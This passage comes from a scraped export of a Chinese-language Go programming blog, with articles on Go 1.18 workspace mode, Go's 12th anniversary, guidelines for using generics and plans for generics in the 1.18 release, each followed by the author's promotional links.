\u0026#34;github.com/bigwhite/a\u0026#34; func main() { a.A() } 我们看到：hello-module对外唯一的依赖是module path为github.com/bigwhite/a的module，但后者是一个尚在本地进行开发，还未发布到github.com上的module。如果此时执行go mod tidy，我们将得到下面错误提示：\n$go mod tidy go: finding module for package github.com/bigwhite/a github.com/bigwhite/hello-module imports github.com/bigwhite/a: cannot find module providing package github.com/bigwhite/a: module github.com/bigwhite/a: reading https://goproxy.io/github.com/bigwhite/a/@v/list: 404 Not Found server response: not found: github.com/bigwhite/a@latest: terminal prompts disabled Confirm the import path was entered correctly. If this is a private repository, see https://golang.org/doc/faq#git_https for additional information. go命令无法找到github.com/bigwhite/a这个module。怎么办呢？我们目前的一个“土办法”就是自己“伪造”一个require，然后用replace将伪造的require指向本地的module a的目录。\n下面是伪造的go.mod文件的内容：\n// https://github.com/bigwhite/experiments/tree/master/go1.18-examples/foresight/workspace/local-module/hello-module module github.com/bigwhite/hello-module go 1.17 require github.com/bigwhite/a v1.0.0 replace github.com/bigwhite/a v1.0.0 =\u0026gt; /Users/tonybai/go/src/github.com/bigwhite/experiments/go1.18-examples/foresight/workspace/local-module/module-a 通过go.mod内容可以看到，我们伪造了hello-module对github.com/bigwhite/a的v1.0.0版本的依赖，并用replace指示符将该版本指向本地的module-a的开发目录。\n虽然“伪造”go.mod文件内容可以解决这个场景中的问题，但显然这种方法给开发者的体验也很差，这样的hello-module的go.mod文件一旦提交到代码仓库，同样会给其他开发者带去心智负担。\n目前的Go module机制在解决上述两个场景时力不从心，显然缺少最后的那块拼图。而Go 1.18中将引入的Go工作区模式就是go module的最后那块拼图。下面我们就来简要看看Go工作区模式。\n二. Go工作区模式 Go工作区模式是Go开发者Michael Matloob在2021年4月提出的一个名为“Multi-Module Workspaces in cmd/go”的proposal。这个proposal引入一个go.work文件用于开启Go工作区模式。go.work通过directory指示符设置一些本地路径，这些路径下的go module构成一个工作区(workspace)，Go命令可以操作这些路径下的go module，也会优先使用工作区中的go module。\n我们先用go工作区模式解决一下前面提到的第一个问题。\n在go 1.18版本发布之前，你需要使用gotip才能体验go工作区模式，安装gotip的方法如下：\n$go install golang.org/dl/gotip@latest // go 1.17版本及以后使用go install。go 1.16及之前的版本用go get $gotip download $gotip version go version devel go1.18-b7529c3 Tue Nov 9 06:27:04 2021 +0000 darwin/amd64 现在我们进入raftexample下面，然后通过下面命令初始化一个go.work:\n$gotip work init . $cat go.work go 1.18 directory ./. 我们看到gotip work init命令创建了一个go.work文件，init后的路径被放在了go.work的directory指示符代码块中，directory指示符中的这些路径共同构成了一个Go工作区。我们将当前目录放入directory中，当前目录下的module就被置于我们的工作区当中了。\ngo.work还支持replace指示符，我们将前面放置在go.mod中的replace挪到go.work中：\n// https://github.com/bigwhite/experiments/tree/master/go1.18-examples/foresight/workspace/raftexample-with-go-workspace/go.work go 1.18 directory ./. replace go.etcd.io/etcd/server/v3 v3.5.1 =\u0026gt; /Users/tonybai/go/src/github.com/etcd-io/etcd/server 然后我们再执行构建：\n$gotip build 这回顺利通过了构建。将replace挪到go.work后，go.mod文件就可以放心地提交到远程代码仓库了，其他开发人员下载后也无需修改go.mod，因为他们也有自己的Go工作区模式go.work文件。\ngo.work配置的是开发者的本地工作区，因此是不建议提交到远程代码仓库中的，我们可以通过.gitignore将其忽略掉。我们甚至可以在任何go module的项目目录之外下放置go.work文件。\n除了用replace，我们还可以将本地的etcd项目拷贝也纳入到我们的工作区当中，这样就无需replace了，比如我们可以将上面的go.work改为如下这样：\n// https://github.com/bigwhite/experiments/tree/master/go1.18-examples/foresight/workspace/raftexample-with-go-workspace/go.work $cat go.work go 1.18 directory ( ./. /Users/tonybai/go/src/github.com/etcd-io/etcd ) 这样raftexample同样可以成功编译。\n同样我们也可以通过这种方法解决我们在引子中提到的第二个问题。\n和上面例子一样，我们为hello-module这个项目添加一个go.work：\n// https://github.com/bigwhite/experiments/tree/master/go1.18-examples/foresight/workspace/local-module/hello-module $gotip work init ./ ../module-a $cat go.work go 1.18 directory ( ./ ../module-a ) 在这次init中，我们为init传入了两个路径，除了当前路径外，还将hello-module依赖的module-a在本地的路径传给了init，这样当前目录下的module与上层的module-a下的module就在同一个工作区当中了。接下来我们直接执行构建，go命令就可以在工作区顺利找到hello-module的依赖module-a了。\n$gotip build $./hello-module this is a.A 三. 管理多module的工作区 最初这个proposal的名字就是multi modules workspace，即多module的工作区管理。当你的本地有很多module，且这些module存在相互依赖，那么我们可以在这些module的外面建立一个Go工作区，基于这个Go工作区开发与调试这些module就变得十分方便。\n比如我们有三个module：a、b和c，其中a与b都依赖c。我们可以在a、b、c三个module路径的上一层创建一个Go工作区：\n// https://github.com/bigwhite/experiments/tree/master/go1.18-examples/foresight/workspace/multi-modules $go work init a b c $cat go.work go 1.18 directory ( ./a ./b ./c ) 这之后，三个module:a、b和c就都在刚刚创建的这个go工作空间了，我们基于该工作空间便可以构建a与b，以构建a为例：\n// https://github.com/bigwhite/experiments/tree/master/go1.18-examples/foresight/workspace/multi-modules $gotip build -o a_bin github.com/bigwhite/a $./a_bin C in c 四. 小结 Go 1.18尚未发布，Go工作区还在active开发中，很多机制可能在后续的几个月还会发生变化。上面的内容仅仅是对Go工作空间做一个前瞻性的介绍，Go 1.18正式发布后，Go工作空间的机制和使用可能与目前有一定差别。\n另外，go mod tidy目前并不care Go工作区，这块在原proposal有提到，大家注意！\ngo workspace特性的作者在油管曾发过一个go工作空间的demo视频：https://www.youtube.com/watch?v=wQglU5aB5NQ\u0026amp;feature=youtu.be，demo是基于最初的go工作区实现做的，大家也可以去看看。\n本文所涉及的源码在这里下载：https://github.com/bigwhite/experiments/tree/master/go1.18-examples。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强，欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/11/12/go-workspace-mode-in-go-1-18/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/go-workspace-mode-in-go-1-18-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/11/12/go-workspace-mode-in-go-1-18\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/11/12/go-workspace-mode-in-go-1-18\"\u003ehttps://tonybai.com/2021/11/12/go-workspace-mode-in-go-1-18\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eGo 1.18版本如无意外，将于2022年2月发布\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e在这个版本中，除了包含万众期待的\u003ca href=\"https://mp.weixin.qq.com/s/ur1eiZl4PKbF1PqELAdfKg\"\u003eGo泛型\u003c/a\u003e之外，还包含很多实用的功能特性，Go工作区模式(Go workspace mode)就是其中之一，它弥补了当前go module构建模式的一些不足，堪称是\u003cstrong\u003ego module构建模式的最后一块拼图\u003c/strong\u003e。这篇文章我们就来看看什么是Go工作区模式，它究竟能解决什么问题。\u003c/p\u003e","title":"Go 1.18新特性前瞻：Go工作区模式"},{"content":"\n本文永久链接 – https://tonybai.com/2021/11/11/go-opensource-12-years\n2009年11月10日，Go语言正式对外发布并开源。如今，距那一历史时刻已经过去12年了。今早Go核心团队技术负责人Russ Cox在Go官博撰文庆祝Go开源12周年，他回顾了这一年来发布的Go 1.16与Go 1.17版本给Go与Go社区带来的变化，粗略总结了Go核心团队的重点工作，并展望了2022年将发布的Go 1.18和Go 1.19版本。这里对Russ Cox的文章做了简单翻译，供大家参考。\n回顾这一年 今天我们庆祝Go语言开源的12岁生日。今年我们经历了多事的一年，明年也有很多值得期待的事情。\n与去年庆祝Go 11岁生日的博文相比，这篇博客最明显的变化是它位于我们在go.dev上的新家，这是将我们所有的Go网站整合成一个统一的网站的一部分。整合的另一部分是用pkg.go.dev取代godoc.org。\n今年2月，Go 1.16版本增加了对macOS ARM64的支持，增加了文件系统接口和嵌入文件特性，并使得go module构建模式成为默认启用的机制，同时还进行了一系列的改进和优化。\n今年8月，Go 1.17版本增加了对Windows ARM64的支持，使TLS密码套件的决策更加简单和安全，引入了修剪模块图，使module在大型项目中更加有效，并增加了新的、更易读的构建约束语法(译注：go:build)。在系统内部，Go 1.17还为x86-64上的Go函数切换到了基于寄存器的调用约定，使依赖CPU的计算密集型的应用程序的性能提高了5-15%。\n在这一年中，我们发布了许多新的教程，比如：Go语言数据库操作指南、module开发指南和Go module参考手册。其中一个亮点是新的教程“用Go和Gin开发RESTful API”，该教程也可以通过Google Cloud Shell以互动的形式获得。\n我们在IDE方面一直很忙，我们在VS Code Go中默认启用了gopls，并对gopls和VS Code Go进行了无数次的改进，包括由Delve提供的强大的调试体验。\n我们还推出了Go Fuzzing test公测版，并正式提议在Go中加入泛型，现在这两项都有望在Go 1.18中实现。\n为了继续适应”虚拟优先(virtual-first)”，Go团队在Google Open Source Live上举办了我们的第二个年度Go day，你可以在YouTube上观看这些讲座。\nIan Lance Taylor的“在Go中使用泛型”，介绍了泛型以及如何有效地使用它们。 “现代企业应用”，由Steve Francia主讲，展示了Go如何在企业现代化中发挥作用。 Suzy Mueller的i“用Go编辑器构建更好的项目”，展示了VS Code Go的集成工具如何帮助你浏览代码、调试测试等。 美国运通公司的杰出工程师Benjamin Cane的“从概念验证到生产”，解释了美国运通公司如何在其支付和奖励平台中使用Go。 向前迈进 我们对Go的第13年的发展感到非常兴奋。下个月，我们将在GopherCon 2021上举办两场讲座，同时还有许多来自Go社区的天才演讲者。请免费注册，并在你的日历上做个记号。\n“为什么和如何使用Go泛型“，由Robert Griesemer和Ian Lance Taylor主讲，他们领导了这项新功能的设计和实施。 12月8日，上午11:00（美国东部）。 “使用调试适配器协议（DAP）调试Go代码”，作者Suzy Mueller，展示如何使用VS Code Go的高级调试功能与Delve。\n12月9日，下午3:20（美国东部时间）。 明年2月，Go 1.18版本将把新的基于寄存器的调用约定扩展到非x86架构，并带来巨大的性能改进。它将包括新的Go fuzzing test支持。这将是第一个包括对泛型支持的版本。\n泛型将是我们2022年的重点之一。Go 1.18中的初始版本只是一个开始。我们需要花时间使用泛型，了解哪些是有效的，哪些是无效的，这样我们才能写出最佳实践，并决定哪些应该被添加到标准库和其他库中。我们期望Go 1.19（预计在2022年8月）及以后的版本将进一步完善泛型的设计和实现，以及将其进一步整合到整个Go体验中。\n2022年的另一个重点是（Go包的）供应链安全。我们多年来一直在讨论依赖性的问题。Go module的设计提供了可重复、可验证、可核实的构建，但仍有更多工作要做。从Go 1.18开始，go命令将在二进制文件中嵌入更多关于其构建配置的信息，这既是为了使可重复性更容易，也是为了帮助那些需要为Go二进制文件生成软件材料清单(Software Bill of Materials, SBOM)的项目。我们也已经开始了Go漏洞数据库和相关工具的工作，以报告程序依赖中的漏洞。我们在这项工作中的目标之一是大幅提高这种工具的信噪比：如果一个程序不使用有漏洞的函数，我们就不会报告。在2022年期间，我们计划将其作为一个独立的工具，并将其添加到现有的工具中，包括gopls和VS Code Go，以及pkg.go.dev中。还有更多工作要做，以改善Go的供应链安全态势的其他方面。请继续关注细节。\n总的来说，我们预计2022年对Go来说也将是多事的一年，我们将继续提供你所期望的及时发布和改进。\n感谢您! Go不仅仅是我们谷歌的Go团队的事情。感谢你们帮助Go取得了成功，并加入我们的冒险。我们希望你们都能保持安全，并祝你们一切顺利。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强，欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/11/11/go-opensource-12-years/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/go-opensource-12-years-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/11/11/go-opensource-12-years\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/11/11/go-opensource-12-years\"\u003ehttps://tonybai.com/2021/11/11/go-opensource-12-years\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e2009年11月10日，Go语言正式对外发布并开源。如今，距那一历史时刻已经过去12年了。今早Go核心团队技术负责人\u003ca href=\"https://go.dev/blog/12years\"\u003eRuss Cox在Go官博撰文庆祝Go开源12周年\u003c/a\u003e，他回顾了这一年来发布的Go 1.16与Go 1.17版本给Go与Go社区带来的变化，粗略总结了Go核心团队的重点工作，并展望了2022年将发布的Go 1.18和Go 1.19版本。这里对Russ Cox的文章做了简单翻译，供大家参考。\u003c/p\u003e","title":"Go，12周年"},{"content":"\n本文永久链接 – https://tonybai.com/2021/11/07/using-generics-in-go\n在近期Google Open Source Live的Go Day 2021环节，Go泛型的主要设计者Ian Lance Taylor做了Using Generics in Go的简短演讲(国内地址在这里)。这篇演讲的重点不是即将于Go 1.18版本降临的Go泛型的语法细节，而是介绍目前Go核心团队在设计、实现以及内部实践Go泛型的过程中积累的一些实践经验。Ian将这些经验总结成了这么一段小视频，旨在Go泛型落地之前，为Go社区提供一些Go泛型使用的通用指导原则。这里将演讲内容整理出来，供大家参考。\n我们将于2022年2月的Go 1.18版本中提供泛型。\n什么是泛型？ 泛型可以让你先来编写数据结构和函数，然后在使用时指定其中的类型。当然，当前Go语言中的函数也有形式参数(parameter)。但有了泛型后，函数可以支持一类新的形式参数(parameter)，这类形式参数被称为**“类型参数（type parameter）”。当前不支持任何参数的类型也可以拥有自己的类型参数**。带有类型参数的函数与类型可以通过类型实参(type argument)进行实例化。对于类型参数，我们会用“实例化”而不是调用(call)，因为整个操作发生在编译阶段，而不是运行阶段。\n类型参数定义了约束(constraints)，这些约束限制了允许的类型实参集合，这与普通形参通过类型限制允许的实参集合类似。比如下面这个例子：\n看看MapKeys这个函数，它接受一个map类型形参，返回一个包含该map所有key的切片。在Go中，我们很容易这对特定的map类型实现这个函数。上面的例子就是一个针对map[string]int类型形参的实现。但对你要使用的特定map类型，你需要编写一个该函数的不同副本，或者你也可以通过标准库的reflect（反射包）来实现这个函数。但后者实现起来很笨拙并且性能相对来说也不高。使用reflect包来实现非常复杂，这里我就不举例了。\n或者，你用类型参数来实现它：\n使用类型参数，你只需要实现一遍这个函数，它便可以支持所有map类型，并且编译器可以对传入的参数进行充分的类型检查。这里类型参数命名为K和V。而之前例子中类型为map[string]int的普通形参m在这个例子中的类型为map[K]V。类型参数K是map的key的类型，它应该是可比较的(comparable)。在例子代码中，我们通过为K增加表述这一要求的约束。你也可以将其视为类型参数的元类型(meta type)。它就是是一个预声明的约束comparable。类型参数V可以使任意类型，所以它的约束是预声明的约束any，该约束顾名思义，意味着V可以是任意类型。函数体与原先一样，除了变量s的类型变为了元素类型为K的切片类型，而不再是元素类型为字符串的切片了。\n泛型这个新语法特性还有很多语法细节，但我在这里不会详说。重要的是你知道函数可以拥有类型参数了，另外虽然这个例子没有展示，但实际上类型本身也可以有类型参数。你可以通过https://golang.org/s/generics-proposal这个链接页面了解关于泛型特性的更多细节。\n什么情况适合使用泛型 我今天要谈的不是什么是泛型或如何使用泛型，我要谈的是什么情况下适合使用泛型以及什么情况下不适合使用泛型。更明确来说，我在这里将给出一些通用的指导建议，但它们不是不可违反的硬性规定。具体情况，你自己来判断。如果你不能确定，你可以参考下面我要讲解的内容。\n首先，我们先来说说Go编程的一般指导规则。我们通过编写代码来编写Go程序，而不是通过定义类型。当涉及泛型时，如果你编写Go代码时，总是在尝试定义类型参数的约束，那你可能走错路了。你应该从编写函数开始，如果你明确了类型参数会有用，那么后续为函数添加类型参数非常容易。\n让我们看一下什么情况下类型参数很有用。\n类型参数的一种有用的情况是当编写的函数的操作元素的类型为slice、map、channel等特定类型时。如果一个函数接受这些类型的形参，并且函数代码没有对参数的元素类型作出任何假设，那么使用类型参数可能会非常有用。例如，我们之前看到的MapKeys函数。那个函数返回map中所有key组成的切片。函数对Map key的类型没有做任何假设，这让MapKeys函数成为使用类型参数的一个很好的候选者。正如我之前提到过的，此类使用类型参数的函数的另外一个替代方案通常是使用反射(reflection)。那是一个更笨拙的编程模型，并且它无法进行静态类型检查，运行起来也更慢。\n另一个相似的适合使用类型参数的情况是编写通用数据结构。所谓的通用数据结构，我指的是像切片或map，但Go语言没有提供原生支持的类型。比如一个链表或一个二叉树。今天，需要这类数据结构的程序会使用特定的元素类型实现它们，或使用接口类型(interface{})实现。使用类型参数替换特定元素类型可以实现一个更通用的数据结构，这个通用的数据结构将可以被其他程序所复用。用类型参数替换接口类型通常也会让数据存储的更为高效。在一些场合，使用类型参数替代接口类型意味着代码可以避免进行类型断言(type assertion)，并且在编译阶段还可以进行全面的类型静态检查。比如下面这个例子：\n这是使用了类型参数的二叉树结构的一个可能实现。这是一个类型使用类型参数的例子。树中每个叶子节点(leaf)都包含一个类型参数T类型的值。当我们用某个具体类型实参对这个树结构进行实例化时，类型实参的值将直接存储在叶子节点中，它们不会被存储为interface类型的值。下面是这个树类型的一个方法实现：\n无需过于关注代码的实现细节或代码的风格，重点在于这是一个类型参数合理使用的示例，因为这个树结构以及上述方法的实现代码多是与元素类型T无关的。这个数据结构的确需要知道如何比较元素类型T的值，它使用一个传入的比较函数来进行元素的比较。你可以看到在上面代码的第四行，它调用了bt.cmp函数。除此之外，类型参数没有任何其他作用。\n这个二叉树的例子为我们展示了另外一条一般原则：当你需要使用像比较函数这样的功能时，最好使用函数而不是方法。我们本可以将这个二叉树结构定义为其元素类型需要实现一个compare方法或less方法，我们可以通过定义一个需要compare或less方法的约束来实现。这就意味着任何用来实例化这个树结构的类型实参必须包含这样一个方法。但是这就意味着任何想用一个简单类型int来实例化这个树结构的开发者都必须定义一个带有compare方法的自定义int类型。同时这样意味着任何想用自定义类型实例化这个树结构的开发者也都要为其自定义的类型定一个compare方法，即便这本不需要。\n如果我们像上面示例中代码那样，定义一个接受一个函数的树结构，那么传入一个期望的compare函数十分容易。并且如果元素恰好拥有compare方法，我们可以简单的以element.compare形式传入method expression来作为比较函数即可。换句话说，将方法转换为函数比向一个类型添加一个方法要容易的多。因此，对于通用数据结构，最好使用函数，而不是编写一个需要方法的约束。\n另外一个类型参数有用的情况是当不同类型需要实现一些通用方法，并且不同类型的方法实现看起来都相同。比如考虑一下标准库sort包的sort.Interface，它需要实现它的类型实现三个方法：Len、Swap和Less。下面这个例子展示了一个sliceFn，一个为任意类型实现sort.Interface而定义的泛型类型：\n对于任意slice类型，Len与Swap方法的实现都相同。Less方法需要一个比较函数，这就是sliceFn名字中Fn部分的功能，和我们在之前树结构例子中一样，当我们创建一个sliceFn时，我们传入一个函数。下面的代码演示了如何使用sliceFn对任意切片进行排序：\n这里，对于任何slice类型，我们都使用类型参数去实现sort.Interface的方法。类型参数非常适合这个例子，因为对于所有切片类型来说，这些方法的实现都相同。\n现在我应该说一下：Go 1.18版本很大可能会包含一个使用比较函数做切片排序的通用函数，并且这个通用函数很大可能不会使用sort.Interface，但即便这个示例今后可能没有用处，但其观点仍然是对的。\n当你需要实现的相关类型的方法看起来都一样时，使用类型参数是合理的。\n什么情况不宜使用泛型 现在让我们来讨论这个问题的另一面：什么情况不宜使用泛型。\n什么情况下，使用类型参数不是一个好主意呢？\nGo拥有interface类型。接口类型已经支持了一定程度上的通用机制。例如：广泛使用的io.Reader接口提供了一种从任意含有信息的值，或生产类似随机数生成器的地方读取数据。\n如果你对于某一类型的值所要做的全部操作仅仅是在那个值上调用一个方法，请使用interface类型，而不是类型参数。io.Reader易读且高效。没有必要使用一个类型参数像调用Read方法那样去从一个值中读取数据。例如，不要像下面这样编写代码：\n我们可以不用类型参数实现相同功能的函数。省略类型参数将使得函数更简洁易读易实现，并且运行时间可能是相同的。\n最后强调一点，开发者(尤其是那些熟悉C++的)可能会假设，使用特定类型实参实例化的函数往往比使用虚拟方法的代码运行稍快。我说虚拟方法，是因为C++使用的是虚拟方法。就本次演讲而言，C++所说的虚拟方法类似于Go语言中的接口方法。当然在Go语言中，具体的细节还取决于编译器。\n与使用接口方法的类似代码相比，使用类型实参实例化的函数很有可能并不是更快。因此，不要出于效率考虑使用类型参数。使用类型参数的原因是它们让你的代码更清晰。如果是它们让你的代码变得更复杂，就不要使用。\n现在回到类型参数与接口类型之间的选择。当不同的类型使用一个共同的方法时，考虑该方法的实现。前面我们说过，如果一个方法的实现对于所有类型都相同，则使用类型参数；相反，如果每种类型的实现各不相同，请使用不同的方法，不要使用类型参数。例如，从文件读取的实现与从随机数生成器读取的实现完全不同。这意味着我们要编写两种不同的读取方法，并且两种方法都不应使用类型参数。\n虽然我今天仅提到了几次，Go也有反射。反射确实允许进行某种通用编程，它允许你编写适用于任何类型的代码。如果某些操作必须支持甚至没有方法的类型，那么接口类型便不起作用。并且如果每种类型的操作都不同，请使用反射。这方面的一个典型例子是json编码包。我们不要求我们编码的每个类型都支持MarshalJSON方法，因此我们不能使用接口类型。但是对整数类型进行编码与对结构类型进行编码完全不同，因此我们不应该使用类型参数。json包使用的是反射。相关代码太复杂，这里就不展示了。如果你有兴趣，可以查看go源码。\n一个简单的准则 最后，整个talk可总结为一条简单的准则，如果你发现自己多次编写完全相同的代码(样板代码)，各个版本之间唯一的差别是代码使用不同的类型，请考虑是否可以使用类型参数。换一种表达方法，在你注意到自己要多次编写完全相同的代码之前，应该避免使用类型参数。\n感谢聆听。希望你在泛型特性推出后，能谨慎合理的使用go泛型。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强，欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/11/07/using-generics-in-go/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/using-generics-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/11/07/using-generics-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/11/07/using-generics-in-go\"\u003ehttps://tonybai.com/2021/11/07/using-generics-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在近期\u003ca href=\"https://opensourcelive.withgoogle.com\"\u003eGoogle Open Source Live\u003c/a\u003e的\u003ca href=\"https://opensourcelive.withgoogle.com/events/go-day-2021\"\u003eGo Day 2021环节\u003c/a\u003e，\u003ca href=\"https://mp.weixin.qq.com/s/_4p1wyo3eKEaCU_9GNdkLA\"\u003eGo泛型\u003c/a\u003e的主要设计者\u003ca href=\"https://github.com/ianlancetaylor\"\u003eIan Lance Taylor\u003c/a\u003e做了\u003ca href=\"https://www.youtube.com/watch?v=nr8EpUO9jhw\"\u003eUsing Generics in Go\u003c/a\u003e的简短演讲(\u003ca href=\"https://www.bilibili.com/video/BV1KP4y157rn\"\u003e国内地址在这里\u003c/a\u003e)。这篇演讲的重点\u003cstrong\u003e不是即将于Go 1.18版本降临的Go泛型的语法细节，而是介绍目前Go核心团队在设计、实现以及内部实践Go泛型的过程中积累的一些实践经验\u003c/strong\u003e。Ian将这些经验总结成了这么一段小视频，旨在Go泛型落地之前，\u003cstrong\u003e为Go社区提供一些Go泛型使用的通用指导原则\u003c/strong\u003e。这里将演讲内容整理出来，供大家参考。\u003c/p\u003e","title":"Ian Lance Taylor：Go泛型使用的一般准则"},{"content":"\n本文永久链接 – https://tonybai.com/2021/10/28/expectations-for-generics-in-go-1.18\n2021年10月中旬，Go语言之父Rob Pike在github上的Go项目中发了一条issue：建议不在Go 1.18的标准库中使用泛型。\n不得不说“姜还是老的辣”！Rob Pike的理由很简单，Go泛型是Go诞生以来最大的一次语言变化，Go 1.18版本承载了太多的change，容易出错。并且Go核心开发团队也没有使用新泛型的经验，他建议Go核心开发团队应该多等待、观察和学习。我是十分赞同Rob Pike的建议的，不要把步子迈得太大。Go应该按照自己的节奏稳步前进。\nRob Pike的这个issue引发了Go核心团队与社区的热烈响应。离Go 1.18版本发布还有4个月左右的时间了，后续Go泛型到底如何落地，整个Go社区需要一个明确的方向。\n今天，Go核心团队技术负责人Russ Cox在golang-dev group发文，针对Rob Pike的issue介绍了Go 1.18版本与泛型当前进展与后续的支持策略，这确定了Go核心团队与社区的努力方向。这里粗略翻译一下供大家参考。\n如果没有意外的严重问题，Go 1.18版本将包含对泛型的支持。泛型是Go1发布以来最重要的变化，当然也是我们有史以来最大的一次语言变化。这封邮件粗略解释了泛型的加入对我们和用户的意义。\n任何Go的新功能特性，无论是语言还是库，都带有不确定性，包括不确定如何使用它们，不确定如何不使用它们，以及不确定有哪些微小的bug已经通过了现有的测试集。泛型也不能避免这种不确定性；事实上，因为泛型是一个大型的新功能，所以它的不确定性也相应地更大。\n因为我们不知道使用泛型的最佳实践是什么，所以我们的文档将无法就何时使用泛型和何时不使用泛型给出精确、明确的答案。即便我们仍然可以并将给出粗略的泛型使用指南。作为比较，我们是在不间断地写了一整年的Go代码后，才写出了Effective Go的最初版本的。我们在泛型方面同样还没有较高水平使用经验，所以我们当然会提供关于如何使用泛型的文档，但我们短期内不能提供任何关于泛型代码风格和最佳实践方面的指南性文档。很简单，因为我们也欠缺这方面的实践与经验。\n因为我们不知道编写泛型包的最佳实践是什么，所以我们发布的最初的泛型代码–特别是通过提案程序的maps和slices包–将首先放在golang.org/x/exp中，那里不能保证向后兼容。一旦我们有了更多的经验，我们希望能将其中一些包推广到标准库中。唯一例外的是constraints包，它是编写某些泛型代码的基础，它将在Go 1.18中就被添加到标准库中。\n因为我们没有任何关于泛型的生产经验，所以我们会在发布说明中明确指出，在生产中使用泛型的时候应该适当谨慎。这并不是对Go核心团队出色工作的批评。这只是一个观察，泛型与大多数Go的变化不同。当我们重写垃圾收集器或改变调用惯例时，我们会在测试和生产中使用新的实现来运行谷歌的所有Go程序，这样就能很好地验证变化，揪出难以发现的错误。相比之下，用正在进行中的Go 1.18工具链重建非泛型代码并不能验证对泛型的支持，这意味着我们无法建立同样的信心。\n综上所述，Go 1.18与其他Go 1.x版本一样具有向后兼容的承诺：我们不会破坏用Go 1.18构建的代码，包括使用泛型的代码。在最坏的情况下，如果我们发现Go 1.18的语义有一些致命的问题，并需要改变它们（例如在Go 1.19中），我们将使用go.mod文件的go版本指示符来确定该module中的源文件是使用Go 1.18还是Go 